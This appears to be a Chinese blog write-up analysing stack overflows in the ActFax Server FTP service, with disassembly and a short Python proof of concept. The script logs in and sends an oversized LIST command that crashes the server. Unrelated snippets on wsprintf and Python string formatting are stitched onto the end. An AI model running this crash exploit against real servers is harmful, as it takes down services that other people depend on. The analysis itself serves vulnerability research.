今天在分析exploit-db上面的actfax server ftp remote bof (post auth) bigger buffer時,
順帶看了下有沒別的可以利用的地方,這個actfax採用了大量的不安全的拷貝、格式化函式,很容易出現問題
在ftp處理網路中的資料時,最大的資料為0x400大小,在使用wsprintfa格式化這個資料時,只分配了大小剛好的0x400的堆疊,這樣會導致問題
wsprintf在格式化時會拷貝字串最後乙個null位元組,這樣0x400的資料,實際上格式化後拷貝的為0x401資料,最後乙個為0x00,會導致返回位址
最低位被填0x00,導致軟體crash掉。
bug彙編形態**:
.text:00458350 sub_458350 proc near ; code xref: mainlistenthread+7dp
.text:00458350 ; mainlistenthread+e4p ...
.text:00458350
.text:00458350 buffer = byte ptr -400h
.text:00458350 arg_0 = dword ptr 4
.text:00458350 arg_4 = dword ptr 8
.text:00458350
.text:00458350 mov eax, [esp+arg_4]
.text:00458354 sub esp, 400h
.text:0045835a lea ecx, [esp+400h+buffer]
.text:0045835e push eax
.text:0045835f push offset as_11 ; "%s\r\n"
.text:00458364 push ecx ; lpstr
.text:00458365 call ds:wsprintfa
.text:0045836b mov eax, [esp+40ch+arg_0]
.text:00458372 lea edx, [esp+40ch+buffer]
.text:00458376 push 0ffffffffh ; nnumberofbytestowrite
.text:00458378 push edx ; lpbuffer
.text:00458379 push eax ; int
.text:0045837a call sub_4b7a70 ; bug 如果剛好400位元組 wsprintf會多拷貝乙個00位元組導致返回位址被改變
.text:0045837f add esp, 418h
.text:00458385 retn
.text:00458385 sub_458350 endp
poc:
#!/usr/bin/python
import socket
import sys
typebuffer = "\x41"*1024
s=socket.socket(socket.af_inet,socket.sock_stream)
connect=s.connect(('192.168.1.113',21))
print (s.recv(1024))
s.send('user ' + 'administrator\r\n')
print (s.recv(1024))
s.send('pass \r\n')
print (s.recv(1024))
s.send('list'+ typebuffer + '\r\n')
s.close
另外這個actfax server ftp remote bof (post auth) bigger buffer的產生是因為分配了大小0x300的堆疊,然後直接使用lstrcpy函式進行拷貝,最大的
資料大小為0x400,導致堆疊溢位。
.text:00458410 ; int __cdecl sub_458410(lpcstr networkdata)
.text:00458410 sub_458410 proc near ; code xref: mainlistenthread+817p
.text:00458410
.text:00458410 string1 = byte ptr -300h
.text:00458410 string2 = byte ptr -200h
.text:00458410 var_100 = byte ptr -100h
.text:00458410 networkdata = dword ptr 4
.text:00458410
.text:00458410 mov eax, [esp+networkdata]
.text:00458414 sub esp, 300h
.text:0045841a lea ecx, [esp+300h+string1]
.text:0045841e push esi
.text:0045841f mov esi, ds:lstrcpya
.text:00458425 push eax ; lpstring2
.text:00458426 push ecx ; lpstring1
.text:00458427 call esi ; lstrcpya//堆疊溢位
WSPRINTF格式化字串函式
win32 api中乙個很常用的函式wsprintf,這是乙個字串格式化函式,可以將數值按指定格式翻譯成字串,類似於c語言中的printf函式,它的原型是這樣的 int wsprintf lptstr lpout,輸出緩衝區位址 lpctstr lpfmt,格式化串位址 變數列表 變數列表的數目由格...
格式化,強調 數值格式化
聚合函式返回的的數值型別的值有個特點就是沒有被格式化。通過前面的帶 sum 聚合函式的示例,我們可以看到這一點 注意合計值 命令,或者在物件檢視器中選中 displayformat 屬性。在上節的示例中,格式化操作是針對一物件或物件內的表示式,在物件內僅有乙個表示式時它還能正常工作,不過當物件內不有...
python 格式化和format格式化
格式 name flags width precision typecode name 可選,用於選擇指定的key flags 可選,可提供的值有 右對齊,整數前加正號,負數前加負號 左對齊,正數錢無符號,負數前加負號 空格 右對齊 正數前加空格,負數前加負號 0 右對齊,正數前無符號,負數前加負號...